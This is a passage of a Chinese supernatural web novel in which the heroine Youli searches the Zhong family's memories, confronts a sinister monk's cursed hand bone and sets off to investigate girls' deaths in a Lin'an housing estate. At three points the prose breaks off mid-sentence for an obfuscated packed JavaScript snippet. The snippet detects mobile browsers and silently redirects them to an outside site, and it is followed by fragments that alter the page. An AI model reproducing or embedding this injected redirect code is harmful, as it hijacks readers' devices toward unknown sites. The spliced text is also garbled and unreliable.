尤黎的视野被黄土渐渐覆盖,变得模糊而朦胧。在这被至亲活埋的窒息痛苦中,上方断断续续传来了男人和女人冰冷的对话: “就这样,够了吗?”是女人的声音,带着一丝不确定的颤抖,但更多的是急于摆脱的迫切。 “不够。”男人声音低沉,带着一种残忍的决断,“去找块大石头来压在上面。免得那他再爬出来,或者小悯不死心,再来找。” “好。” 随着女人这声应和,尤黎感觉脸上的泥土突然被大力压实,紧接着,一股难以想象的巨大重量轰然压下。 沉闷的撞击感透过泥土传来,大概是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118526|180029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块在他们眼里足够分量的石头,被无情地压在了刚刚堆起的土堆之上,彻底断绝了最后一丝生机。 为什么?!为什么?!为什么要这样对我?!我到底做错了什么?! 是啊,为什么,要这样对,我? 就在这意识即将被同化,被怨恨彻底吞噬的千钧一发之际。 尤黎额间,那枚平时隐没不见的朱砂痣忽然亮起,一点赤红如血的光芒灼然绽放,狠烫在灵魂之上,剧烈的灼痛感穿透怨念,将尤黎几乎沉沦的神智猛地拽回清明。 “嘶——”尤黎倒抽一口凉气。 好险,这钟杜的怨力竟已达到了“怨鬼”修炼的二重境界——惑心。虽因被镇压多年而不算完整,但这股力量的纯粹和恶毒,已足够骇人。这份记忆碎片,也足够让她拼凑出当年的惨剧轮廓。 钟杜,钟家那个不被承认、被反复遗弃的幼子,最终被亲生父母以最残忍的方式活埋于荒林。 滔天的怨力滋养了他的魂魄,使他化为厉鬼。钟悯后来那些离奇死亡的子女,恐怕都是他的复仇。 真是讽刺,记忆中唯一惦记他并且寻找他的钟悯,最终却成了被他报复得最彻底的那个。恩怨情仇,在厉鬼的心中,早已扭曲成了最恶毒的诅咒。 记忆的碎片开始震荡、剥落,如同破碎的镜面。 是时候该离开了。尤黎强忍着额间残留的灼痛和灵魂深处的不适,集中精神,在意识中打了一个清脆的响指。 无尽的彼岸花穿过土壤环绕上她的身体,被飘飘然托起的感觉再次袭来。 睁眼。 闭眼。 睁眼。 ? 映入眼帘的,是深色厚重的木质家具,空气中弥漫着一种陈旧而压抑的气息,墙上挂着那幅诡异的空白全家福。 这里是,钟宅。钟悯的房间。 尤黎心中警铃狂响,她下意识地想转动脖颈,想抬起手臂,但身体纹丝不动。 她试图调动灵力,争夺身体的控制权,这具身体如同不属于她一般,对她的意志毫无反应。 冰冷的寒意瞬间从脚底窜上尤黎的头顶。她对自身躯体的掌控力远超常人,甚至能短暂操控他人身体。能让她的意识完全无法支配身体的情况,只有一种。 她还在某个人的记忆里。 忽然,身体动了,尤黎被迫走出房间,来到钟宅的一楼那尊被尤黎砸碎的铜像旁。 模糊的铜像上痕迹斑斑,一双干枯的手抬起,指尖利索地划破指腹,点点鲜血滴落在铜像头顶。 血液并未顺着光滑的铜壁滑落。 它们像是被某种无形的力量牵引着,又像是这尊残破的铜像本身在贪婪地吮吸,暗红的血珠一接触到冰冷的铜像,便如蠕虫般游走。它们沿着铜像裂开的缝隙、斑驳的纹路,以一种肉眼可见的速度向下流淌、渗透,所过之处,留下一条条蜿蜒的猩红轨迹。 尤黎认出了这双手,尤其是这只左手。 这是,钟悯。 11. 借寿(十) 那一声叹息悠长而沉重,带着无尽的悔恨与无力感,在空旷死寂的钟宅中幽幽回荡。 尤黎一时间竟无法分辨这声叹息,究竟是来自钟悯,还是来自面前这尊正在被鲜血浸染微微震颤的残破铜像? “你现在后悔,又有什么用呢?只要他想,你以为他们搬走了,又有什么用呢?”冰冷略带沙哑的声音响起,打破了沉寂。 钟悯慢慢转身。 只见一个身披纯黑袈裟的身影,不知何时已悄无声息地立于客厅的阴影之中。他面容平凡,甚至可以说有些慈眉善目,平眉垂眼,乍看之下颇有几分得道高僧的宝相庄严。然而,那身浓得化不开的煞气,却幽幽缠绕其身,散发出杀戮的气息。 他修长的手指正捻动着挂在胸前的一串念珠。那念珠颗颗浑圆,质地非金非木,在昏暗的光线下散发着一种油腻、诡异的暗沉光泽。尤黎眼神一冷,那根本不是什么佛珠,而是一颗颗被特殊处理过的眼珠子。 瞳孔的纹路在凝固的胶质中若隐若现,是死者死不瞑目的怨毒。 似戏谑,似怜悯,妖僧目光沉沉,似笑非笑望着钟悯。 噗通。 一股无法抗拒的力量从膝盖传来,钟悯跪倒在地,地板的冰冷透过单薄的布料,刺入骨髓。 “请您帮帮我!”钟悯的声音嘶哑,头重重磕在地板上,发出沉闷的响声。 妖僧捻动佛珠的手指微微一顿,那双目露慈悲的眼睛俯视着脚下卑微如尘土的钟悯,声音平淡无波:“我不过是应了赵京穹的托,顺道来你这看看罢了。” 他目光扫过那尊染血的残破铜像,语气带着一丝不易察觉的讥讽,“这守宅灵也是他当年给你的吧。当年便告诫过你,青茂之外,皆为禁忌。是你自己坏了规矩,才落得今日下场。” 赵京穹? 这个名字如同惊雷在尤黎的识海中炸响。爷爷,爷爷为什么会和这件事有关?他托付这个妖僧来做什么?无数疑问瞬间涌上心头。 妖僧的话音却一转:“不过,倘若你只想保全你那仅剩的一丝血脉,倒也不是全无办法。”他刻意拖长了语调,等待钟悯的反应。 “我已经半身入土,行将就木。”钟悯抬起头,浑浊的老眼里爆发出骇人的求生欲,那是对后代存续的疯狂执着,“只要我的孩子,我的后代能平安无事,无论什么代价,我都愿意付,什么都愿意!” 他膝行几步,姿态卑微,伸出枯槁颤抖的手,近乎祈求地抓住了妖僧那冰冷滑腻的黑色袈裟一角,如同抓住最后一根救命稻草。 妖僧微微弯腰,宽大的黑色袖袍中,滑出一只手骨。 那并非寻常白骨,骨色呈现出一种诡异的暗银光泽,关节处缠绕着丝丝缕缕的黑气。他将这只诡异的手骨,递到钟悯颤抖的手中。 “放到你的身体里,好好供养它。”妖僧的声音带着一种蛊惑人心的魔力,“待它活过来,与你的血脉相连,你的家人,自然不会再受那那个人的侵扰。” “这是...这是...”钟悯捧着这只冰冷的邪骨,干枯的嘴唇嗫嚅着,眼神闪烁,却不敢说出心中那个可怕的猜测。他畏惧地望向妖僧那无风自动的黑色袈裟。 妖僧抬起苍白的手指,轻轻点在钟悯冷汗涔涔的眉心,他脸上再次浮现一抹不伦不类的假笑:“你供养了它,自然也能侵入一丝意志给它呀。你在青茅时,不就最擅长此道么?只需一丝,它便会记住,便会本能地去保护流淌着你血脉的后代。” 他假惺惺地双手合十念了几句模糊不清的阿弥陀佛,如同安抚受惊的孩童般,用那捻过佛珠的手,轻轻拍了拍钟悯的肩膀,施施然一笑:“放心,怎么说也曾是同门师兄弟一场,我岂会害你?” 钟悯僵硬地跪在原地,捧着那只邪骨的手不住颤抖。直到那抹吞噬光线的黑色身影悄无声息地消失在门外阴影中,他依旧一动不动,仿佛化作了一尊绝望的石像。 青茅...... 尤黎的意识在记忆内疯狂搜索。这个地名,她从未在现实听闻,却为何带着一种深入骨髓的熟悉与悸动。 钻心剜骨的剧痛猛地从左臂传来。 尤黎啧了一声,意识被强行拉回,低头看去,钟悯不知从哪里摸出了一把锋利的小刀,刀刃闪烁着森冷寒光,没有半分犹豫,他像个冷酷娴熟的屠夫,精准而决绝地切开了自己左手的皮肉,刀刃划过筋肉,鲜血瞬间喷涌。 他面不改色地用刀尖和手指,一点点地将自己的左手手骨活生生剥离了出来。那沾着血丝的森白骨头被随意丢在地上。然后,颤抖着,将妖僧给的手骨,塞进了自己血肉模糊的左臂之中。 手骨一接触到鲜活的血肉和温热的骨髓,如同蚂蟥遇血般,疯狂地扎入钟悯的血肉,贪婪地吮吸,直至合为一体。几乎肉眼可见的速度,钟悯的左臂皮肤迅速变得干瘪,肌肉萎缩,整条手臂比完好的右臂细了一圈。 钟悯疼得浑身痉挛,豆大的冷汗滚落,但他强忍着,用那只完好的右手,拂过狰狞可怖的伤口,原本深可见骨的伤口飞度愈合,皮肤重新覆盖,血痂脱落,片刻之后,左臂除了那诡异的萎缩和残留的剧痛,竟再看不出丝毫伤痕。 原来钟悯自己也不是个省油的灯。 尤黎现在想穿越回去狠狠给钟熠两脚,把他踹出自己的铺子,赚他家那点钱,惹了一身腥。 眼前的画面止住不再进行,尤黎抿了抿嘴,看来只是一个残梦,估计就是这块手骨上寄生了一丝钟悯的意志。 照先前那个妖僧的话,钟悯擅长侵入记忆,把意志寄生给他人,这种能力,似乎有些耳熟,青茂,青茂,好像也不是完全陌生。 青茅应该,是在梦里,和二楼房间里那副画一样的地方。 她每晚入睡后会在那里修习。 一起修习的还有很多同门,师兄是个穿着奇怪的异类妖僧,师父,师父的样子记不太清了。 但师门有的规矩她还记得,修习时不能离开青茅,不能从梦里带走青茅的任何一件东西,否则,会被逐出青茅,再也不能进入。 可她那天没忍住,真的没忍住。 这不是她的记忆。 尤黎闭眼叹息许久,再睁眼时,眼底一片寒冷:“从我的记忆里滚出去。” 青茅山的风景,修习时其他同门的欢声笑语,诡异的山外雾气,一张张画面幻灯片般从脑海里快速闪过,被一道漆黑的长刀划破。 修罗刀无声浮现,眼前钟宅的画面如碎石投湖,荡起阵阵涟漪后扭曲破灭。 尤黎重新置身于一片玄而又玄的黑暗。脚下,无数记忆碎片如同发光的河流, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118527|180029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奔涌不息。一个模糊笼罩着层层黑雾的人影,在这记忆长河中疯狂逃窜,他试图潜入某段记忆碎片试图躲藏,又被一道凭空出现的漆黑刀气狠狠劈出。 仅仅几息之间,无数柄修罗刀的虚影在黑暗中凝结列阵,组成了一道杀伐冲天的刀域,将那道在尤黎记忆中左冲右突的黑影彻底逼入了死角。 在刀阵的威压下,黑影周身的黑雾被凌厉的刀气不断撕扯,身形变得越发稀薄透明。 “艺高人胆大呀。”她抚掌轻笑,眸中却无半分笑意,“只剩这么一丝意志了,还敢潜入我的记忆,想从中捞点什么好处?” 钟悯的身形在修罗刀的威压下渐渐变淡,他眼神凄切:“杀了......” 尤黎皱眉:“什么?” 下一刻,耳边又响起了熟悉的聒噪:“我去!大师!我去!爷爷?” 尤黎机械地转头,正巧看清了他眼珠由绿变黑的一幕。 踏马的这鬼有病是不是?非要把这二货送自己身边几个意思? 尤黎抓住钟熠的后颈,脚下用了十足十的劲,一脚给人踹到身形渐淡的钟悯面前:“你孙子,给你了。” 钟熠还在摸不着头脑地东张西望,钟悯一巴掌劈在他后脑勺,朝尤黎摆摆手,示意她过来。 尤黎双臂环胸,挑挑眉,脚下屹然不动。那意思很明显,有话直说,过去不可能。 钟悯:...... 大概是视力过人,尤黎隔着雾气,也看得出钟悯脸上的无语。 钟悯食指在钟熠身上虚虚划过,一条流光溢彩的丝线从钟熠的身体被抽出,径直飞向尤黎的面前。 周围场景忽然变幻,繁华的街市夜景车水马龙,霓虹灯的光芒绚烂又迷离。 一个长相可爱的小男孩独自沿着街道走着,他眼神困顿迷离,如同被什么指引了方向,路上有人见他一个小孩大晚上在外面,热心询问他是不是走丢了。 小男孩置若罔闻,仿佛根本没听到。他小小的身体里爆发出惊人的执拗,挣脱了路人的手,依旧执着地、一步不停地朝着他认定的方向走去。 他走过灯红酒绿的商业街,穿过车流渐稀的城郊大道,最终,停在了一栋废弃多年的大厦前。 他才停下两条小短腿,空气中一只无形的手抬起他的小脑袋,在大厦顶端,站着一个人。 白发绿眸,笑得邪魅荡漾。 他嘴唇开合,声音清晰地传入小男孩的耳朵:“拜我为师。” 尤黎之前还对这人身份有多猜测,现在算落到实处。 游师。 生前是道士身,有自己的兵马,不过没有徒弟传承,死后也没有受到供奉,没有去处偏偏仗着自己是有道行的,寻常东西奈何不了他,算是阴神所属。 眼前的画面再次如同水波般荡漾、变幻。 场景切换到了明亮的派出所。小男孩被闻讯赶来的警察和焦急万分的家人紧紧抱在怀里,母亲哭成了泪人,父亲不断向警察道谢。一切都显得那么幸运,那么平常,一个走失的孩子被好心人和警察及时找回,虚惊一场,皆大欢喜的结局。 没有人注意到小男孩眼睛一闪而过的绿光。 只有游离在整个场景之外的尤黎知道,从这一天起,钟熠的身体里,住进了另一个人。 12. 借寿(十一) [游师,生前修有所得,死后无人供奉,上不入天曹,下不进地府,其中之甚,名为/。我从来没想过,会遇见/,师兄说,那家伙大概是阴阳界最大的钉子户,近千年未曾投胎,徘徊人界,戾重仇深,天地不容,业缘悉数焚毁。 ////// 头一次,我希望//的卦不要太准,如果与///有命定纠缠死孽的是他,过往种种努力,全师门布局,皆为废局。] “这都什么啊。”尤黎往下翻了几页,都是些无关紧要的记录了,“写个笔记也遮遮涂涂的,全为难倒自己人身上了,我是你亲孙女吗?” 狗蛋蹲在尤黎瘦削的肩膀上,感受到她烦躁的情绪,很识相地“嘎嘎”回应了两声,那调子拖得老长,带着乌鸦特有的沙哑,依稀能辨出强调的意思,不是。 尤黎不死心,再次举起那本沾满灰尘、边角都卷了毛边的老旧笔记本,眼珠子几乎要贴到发黄脆弱的纸页上,试图从那浓重得化不开的黑色墨团下,窥见一丝被掩盖的秘密。然而,那墨迹涂抹得极其彻底,如同泼洒的污血,将下方的字迹吞噬得干干净净,不留半点痕迹。 “啧。”尤黎挫败地合上笔记本,封面上那三个褪了色的毛笔字“赵京穹”显得格外刺眼。 “那家伙醒了吗?”她揉着发胀的太阳穴,随口问道。 狗蛋最近掉毛掉得厉害,翅膀下都秃了一小块,愈发不爱动弹,能蹦跶绝不飞。它扑棱着翅膀从尤黎肩头跳下,像个黑煤球似的蹦跶到半掩的里间房门前,探着黑不溜秋的小脑袋,从门缝里往里瞅了瞅。片刻后,它又蹦跶回尤黎面前的桌子上,小脑袋摇得像拨浪鼓。 尤黎纳了闷,自己不是爷爷亲生的,钟熠总该是他爷爷亲生的吧,就算身体里有个不速之客,至于下手那么狠么?一掌给人劈得到现在都没醒,搞得她这几天都是自己干活。 回想起当天的事,尤黎就来气,那钟家老爷子也不说话,就拼命给她看钟熠从小到大的记忆,码都不打的那种。 强行打破他的术法,他就会死,尤黎直觉钟杜绝没有那么简单就被烧死,还想从钟悯那再套点线索,最后被迫看完了钟熠的生平,她现在连钟熠身上几颗痣都清清楚楚。 尤黎仰天花板长叹,真是一屋子的神经病。老的死了不告诉我凶手线索,给我看你亲亲孙子的生平;小的本体是个二不愣登的,里头住了个惹不得的游师。 算了,线索来源于实践。 洗了把脸精神一下,尤黎去杂货间再次检查起那具被烧过的遗骸,没有任何残留,不管是业力,孽力还是魂魄的痕迹。 但尤黎并不信任这个结果,连记忆都能被侵入搅乱,眼睛又怎么不会骗人呢。钟杜从被杀成鬼到现在,布局那么多年,十来年前才杀了钟悯,而自己却未曾发觉过他的存在,能做到这一步,他不可能一点脱身的办法都没有。 要不是他自己来铺子里,自己去找他还要花不少功夫。 不过,他为什么要来铺子里? 尤黎皱紧眉头,总觉得似乎遗忘了某个极其重要的关键点。那种感觉,就像拼图缺了最核心的一块,让人抓心挠肝。 肩膀被轻轻拍动几下。 转身,只见那个佝偻着腰、皱纹深刻的纸人老太婆,不知何时已悄无声息地从杂货间最深的阴影里走了出来。它那双被朱砂点过的浑浊的纸眼睛幽幽地看着尤黎。然后,它抬起一只干枯的纸手,划开了自己画着粗布衣服纹路的肚子。 没有内脏,没有鲜血。只有一团塞在里面的、用来固定形状的稻草。 在尤黎冰冷的注视下,纸人老太婆将另一只纸手伸进自己破开的腹腔里,摸索片刻,掏出了一个被稻草半掩着的木匣子。 尤黎气笑了。 难怪她老有种不对劲的感觉,心头像蒙着一层薄纱。原来她的注意力,从一开始就被钟熠记忆里那个白发绿眸的游师身影牢牢吸引,完全忽略了另一个更直接的、本该就在眼皮底下的东西。 钟悯偷走了她的一段记忆。 当时尤黎只以为他是仅剩残魂,现在看来,倒是和匣子里鬼手里寄存一丝意志配合得很好。 一个搅乱她的注意力,通过在记忆里假装逃窜种下锚,一个躲在鬼手里配合着,让她无声无息忘记了鬼手的存在。 尤黎挥退纸人:“多谢,请回吧。” 纸人老妇僵硬地点点头,佝偻的身影无声无息地退回了角落的阴影中。 打开木匣,里面的鬼手似乎感应到束缚解除,立刻不安分地蠕动起来,五根焦黑的手指扒拉着匣壁,试图向外爬。 当它那腐朽的指尖刚刚触及木匣边缘时,一层幽蓝色的火焰毫无征兆地凭空燃起,火焰冰冷刺骨,散发着强烈的封印之力,瞬间将鬼手灼得吱吱作响,冒出一缕缕带着焦臭的黑烟。鬼手吃痛,悻悻缩了回去,在匣底不安地蜷缩着。 钟悯这样做,说明在他心里,隐藏鬼手的存在比彻底封印钟杜保证家人安全还要重要。 分明在记忆里,他可以为了阻止钟杜伤害自己的孩子,活生生割肉刨骨,至少证明在那时候,钟杜是他放在首位的大事。 是什么让他发生了改变? 冒着钟杜会再次卷土重来的风险,也要不让自己再记起鬼手的存在。 鬼手是什么,会带来什么,钟悯从那个妖异僧人手中接过它时的表情,恐惧、犹豫、最终却化为决绝的眼神尤黎记得清清楚楚。他分明是知道这东西的可怕之处的,即使不是全部,也绝对了解个大概。 这里面唯一的变数,是我。 尤黎的大脑飞速运转,如同精密的齿轮,将所有的疑点,所有的线索强行串联推演,得出来这么个结论。 钟悯不希望她尤黎继续深入这件事。她被划到不该参与这件事的人的名单上了。 无缘由的,尤黎想起钟家的铜像是爷爷送的,爷爷在这件事里又是个什么角色?我的不被允许参与,是不是有爷爷的手笔。 这并非毫无根据的臆测。钟悯残魂最后看向她的那个眼神。眼神里蕴含的复杂情绪,尤黎现在回想起来,清晰得如同昨日重现,那是一种深深的、带着无尽愧疚的抱歉。 要知道自己和钟悯算是八竿子打不着的两人,他没什么好对自己抱歉的,他的抱歉,只能是对爷爷。 钟悯在生前,也许和爷爷约定过什么,大概率 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118528|180029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个约定是关于自己的,再结合钟悯连钟杜也不管了也要让自己忘记鬼手的存在,尤黎心里有了数。 她揉了揉眉心,恐怖连自己猜到这,爷爷也算到了,这种环环相扣、算无遗策的风格,太像那个老头子干的事了。他留下的所有线索和暗示,最终指向的核心意思无比明确,不要管,不要深究,不要去追。 尤黎不是个不听劝告的人,更不是恐怖片里会为了好奇心拿命赌的人,她比任何人都懂得趋利避害,明哲保身。但是她没办法不去查这件事。 一种说不清道不明的力量在心底翻涌,像命运的丝线缠绕着她的心脏,拉扯着她,让她无法转身离去。非要说的话,就是,命运。 门被扣响。紧接着就是钟熠那标志性的大嗓门: “大师!啊啊啊啊啊!” 尤黎已经能良好适应钟熠的大惊小怪了,转身拉开门,钟熠就跌了进来,她赶紧避开,成功让人摔倒地上。 “有话就讲。” 钟熠龇牙咧嘴地站起来,扒拉开衣领:“大师,我的脖子好痛啊。” 尤黎瞧了一眼,前几天淡淡的尸斑不知何时颜色变得深重如淤青,边缘还泛着不祥的乌黑,如同腐败的藤蔓,已经悄然爬到了他的下巴边缘,隐隐有向脸颊扩散的趋势。 解毒要找下毒人啊。 钟熠最开始是靠自己给的药粉,后面尤黎发现好像自己不给药粉,尸斑的蔓延速度也接近于零,她就知道钟熠体内的家伙在有意识管控尸斑的蔓延。现在也只能说,是恢复了尸斑该有的发病速度。 所以,是那个白毛怪不管了? 好不容易找到宿主,他能这么轻易就放弃这具身体么?尤黎哪里想不明白,这是逼自己去继续找钟杜,不然就看着钟熠死。 钟杜果然没死透啊。 钟悯不希望自己继续追查,白毛怪却要自己继续追查。 尤黎不喜欢被威胁,谁威胁她,她一定要报复回去,睚眦必报才是她的作风。 “行。”尤黎这话也不知道是对谁说,她取下脖子上的尸骨花,划破指腹滴了一滴血,待燃起诡香时,把骨节覆上鬼手。 五根枯指剧烈地痉挛起来,指尖无意识地颤抖着,如同在虚空中描绘着某种神秘的轨迹。最终,它缓缓地朝着东南方连续点动了三下,每一次点动,都仿佛耗尽力气般微微抽搐。 尤黎扯过一张纸,笔势飞快地记录下来。 诡香慢慢消失后,鬼手重新伏回木匣。尤黎合上匣子,将腰间罗盘摊开在手中。 寻事问道,她用惯了罗盘,也更信任罗盘。 纤细的手指在罗盘天池上轻轻一拨,天池中的磁针如同被惊醒般,开始剧烈地嗡鸣震颤。指针飞速旋转,搅动着盘面上密密麻麻的符号和刻度,死死地钉在了盘面上的一个方位,西南。 鬼手指东南,罗盘定西南。 尤黎的目光从罗盘上抬起,看向津津有味当观众的钟熠:“你喜欢西南还是东南?” 钟熠没看懂,也不妨碍他认真回答:“东南。” “好。”尤黎的回答斩钉截铁,一锤定音,“那我们下午就出发,往西南去临安。” 13. 借寿(十二) 当天下午,阳光刺眼。尤黎挎上她那洗得发白的破布包,包里装着蔫头耷脑的狗蛋,身旁跟着同样背了个崭新双肩包、一脸茫然的钟熠,踏上了前往临安的路。 两人在尘土飞扬的县城小路边拦了辆破旧的三轮蹦蹦车,一路颠簸着晃到了永福县城门口。 永福县历史底蕴深厚,斑驳的古城墙虽已残缺,却依旧透着沧桑。城门旁立着一块一人多高的大青石,上面用褪了色的红漆描出三个遒劲大字——“永福县”。 尤黎凝视这块石头良久,不禁想起上一次出永福县,还是出去读书,那时候心高气傲,一心要凭一身本事挣点名声出来,只可惜,世事难料。 “车什么时候来?”尤黎扣了顶鸭舌帽,今天的日头有些毒。 钟熠划拉着手机屏幕,屏幕上反射着刺眼的光:“还有十来分钟。” 尤黎把探头探脑的乌鸦塞回布包里,不经意回头扫了一眼,过了会儿,她说:“去前面便利店给我买瓶水来。” 钟熠在尤黎这儿向来没有说不的权利,跨着两条长腿就往便利店去了。 尤黎耐心地捋顺狗蛋的羽毛,感受到它温热身体的震颤,疑惑问道:“怎么了?” 此刻的狗蛋如果可以说话,肯定要大声尖叫然后疯狂逃跑。 在它绿豆大的小眼睛里,天空不知何时飘起了丝丝缕缕,冰冷粘稠的灰色细雨。宽阔的街道上空无一人,死寂得可怕。县城里的建筑如同浸了水的劣质纸画,边缘开始模糊、晕染、扭曲、揉皱。砖瓦融化,墙体流淌,整个县城仿佛正在被一只无形的大手肆意蹂躏变形。更恐怖的是,在那无数扇扭曲变形的窗户后面,密密麻麻、无声无息地静立着无数惨白的纸人。它们脸上只画着一只空洞的眼睛,一个挨着一个,如同沉默的墓碑林,冰冷漠然地穿透雨幕,死死地注视着尤黎的背影。 尤黎得不到回答,见狗蛋的脑袋一直朝着后头,便也回头望去。 阳光依旧刺眼,城门青石古朴,街道上车水马龙,行人步履匆匆,刚刚那令人毛骨悚然的景象如同幻觉般眨眼间消失得无影无踪,仿佛从未发生过。狗蛋大张着尖喙,喉咙里嗬嗬怪响,拼命想发出警告,却被一股强大而无形的力量死死扼住,连一丝声音都挤不出来。 尤黎两指轻轻合拢它的尖喙,拧眉说:“又发什么疯,老实一点。” 乌鸦彻底蔫了劲,不消尤黎动手,自己鹌鹑似的缩回了布包,正巧钟熠拎着两瓶水过来了,尤黎也就没再管突然老实的乌鸦了。 钟熠递过一瓶水给尤黎,自己拧开剩下一瓶,喝了一口,他眼尖地瞥见一辆打着“空车”灯牌的白色网约车缓缓驶近,停在了路边。 “大师,我们叫的车到了。” 仿佛是应和钟熠的话,白车司机摇下车窗,露出一张憨厚热情的脸,操着浓重的地方口音朝热情地冲两人喊到:“是你们叫的车吧?快上来。” 上了车后,司机照常询问了尾号,很是健谈地与两人攀谈起来。 准确来说,是钟熠和司机在聊天,两人都是话多的人,一时间有些相见恨晚的意思,聊得一片火热。 尤黎大多时候都不说话,她身体微微后仰靠着座椅,鸭舌帽檐压得很低,遮住了大半张脸,只露出线条清晰的下颌和微抿的嘴唇。她垂着眼眸,仿佛沉浸在自己的思绪里,对车外的风景和车内的喧闹置若罔闻。 “哎呀,你们要去临安喏,这几天那里不太平哦,尤其是你呀小姑娘,最近很多小姑娘出事勒,都是像你一样漂漂亮亮的小姑娘,年纪又轻,家里人都哭死了。”司机边说边回头看尤黎。 坦白来说,尤黎是偏乖巧的那类长相,不说话的时候可以完美伪装成教养良好的乖乖妹妹,也不怪司机多唠叨这一嘴。 钟熠闻言,嘴角微微抽搐了一下,小心翼翼地瞥了一眼身旁的尤黎,愣是没敢接司机的话茬。 尤黎缓缓抬起帽檐,露出一双平静无波的眼睛,轻声细语,说出来的话却是语不惊人死不休:“没事,我家里人都死完了,谁敢来弄我,我让他家祖坟里的都爬出来哭。” 司机大哥被震得好半天没说话,最后结结巴巴憋出来句:“那,那小姑娘怪有种哈。” 健谈的司机大哥敛旗息鼓了,他不再说话,颤抖着脚猛踩油门,一路压着超速的线把人送到了目的地。 一直到尤黎的身影走远,司机大哥才捂着胸口搁手机上哔哩啪啦打字: [兄弟们,刚才拉了个妹子,阴嗖嗖的,讲话也是怪吓人,跟精神病一样。] [说什么家里死光了,谁敢动她就把人祖宗从坟里刨出来哭!卧槽!吓死老子了!] 上午的群聊很热闹,有人搭他的腔。 [这年头,不正常的人多很正常,你一大早接着单就乐吧,对了,送哪儿去的啊?] 司机大哥心有余悸地回复: [兴乐小区。] 消息不断刷屏的群聊静默一瞬,然后开始满屏狂发卧槽。 司机大哥直觉不对劲,颤颤巍巍地发问。 [这地咋了?别搞我啊。] 下头很快有人回他。 [哥们,你不知道兴乐小区昨天刚爆出来有骨灰房啊,而且之前死的几个小姑娘都是住兴乐小区或者附近的,邪门着呢,你回去找个地拜拜吧。] [兄弟,你拉的不会是那啥。。。吧?] 司机大哥两眼一黑,迅速开车逃离了这块地方。 另一边,尤黎稳稳站在兴乐小区锈迹斑斑的铁艺围栏外。她没有走向正门,反而在围墙边站定,目光在几栋单元楼之间快速扫过。 “蹲下。”她言简意赅地对钟熠下令。 钟熠不明所以,但还是依言蹲了下来。尤黎毫不客气地一脚踩上他宽厚的肩膀,借力向上一蹬,动作干净利落,如同矫健的狸猫,瞬间翻过了近两米高的围栏,轻盈落地。 钟熠长得高,自个儿就能翻过来,富二代少爷显然没干过翻墙的勾当,落地后立刻紧张地左右张望,小声嘀咕:“大师,你说的特殊方法就是翻墙啊?我还以为你……”他话没说完,自己都觉得有点傻气。 尤黎没理他,径直朝着小区最深处、几栋楼环绕中心位置的5号单元楼走去。她步履很快,钟熠小跑着才能跟上。 “你以为是什么?”尤黎头也不回地问。 钟熠讪讪地摸摸鼻子:“……没什么。” 5号单元楼。 尤黎站定脚步,神色不定地打量了一下周围环境,是个老小区,楼体灰扑扑的,阳台外挂着各色衣物,楼下停着不少自行车、电动车,生活气息浓厚,几乎每扇窗户都透着有人居住的痕迹。 一个拎着菜篮子出单元楼的中年妇女见着尤黎,哎了一声:“你是哪家的丫头?没见过呀,这几天不要乱跑晓得吧?小区里死了几个小姑娘勒,看见没,那几个单元楼都有封的。” 尤黎顺着她指的方向看过去,果然看见几个楼层的窗户外贴了封条。 “姐姐,我是家里人在这买了房,但是出了点事一直没来住,正巧我来这找工作,他就叫我先住。”尤黎最擅长利用这幅颇有亲和力的脸,冲妇女甜甜一笑。 中年妇女被尤黎一声姐姐叫得心花怒放,菜也不急着买了,乐呵呵地跟尤黎聊起天来,在尤黎不着痕迹的套话下,把整个单元楼无人的住户和最近小区里接连死亡的事件一五一十给她讲了个明白。 最初是在一个月之前,挨着这栋楼的六号单元楼的女孩出了事,那女孩今年刚上大学,学校和家离得近,偶尔会回家住。 后来有一天,学校联系家长,说女孩已经两天没有上课了,家长立刻报了警。 女孩的尸体是在女孩自己家发现的,她瞪大了眼睛,满脸惊恐地缩在床底,四肢僵硬。 这么一起诡异的案子,自然引起了周围居民的诸多猜测,谁知道接下来一个月,又接连有六个女孩以同样的方式死去。 她们死亡的地点不一样,却无一不是满脸惊恐身体蜷缩着死去。 妇女拉过尤黎的手:“小姑娘,你一定要小心的呀!”她指了指旁边一脸状况外的钟熠,“这个是你男朋友不啦?你要么让他这段时间先陪着你住,一个人怪危险的啊!” 尤黎笑着回应:“嗯,他陪我住,没事的,真是谢谢姐姐告诉我这么多。” 与妇女告了别,尤黎换回那副冷漠拽姐的表情,中指食指相扣,几缕发丝幽幽飘出,分别去往了那位妇女说的无人居住的门户。 等待的功夫,尤黎抛了一张符箓给钟熠。 钟熠还站在单元楼外,一张脸神色来回变幻,符箓飘落在地也没去捡。 “想什么?”尤黎从楼梯间的阴影处走出来,偏头对上钟熠的眼睛。 钟熠声音闷闷:“大师,我们真要住这吗?” 尤黎:...... 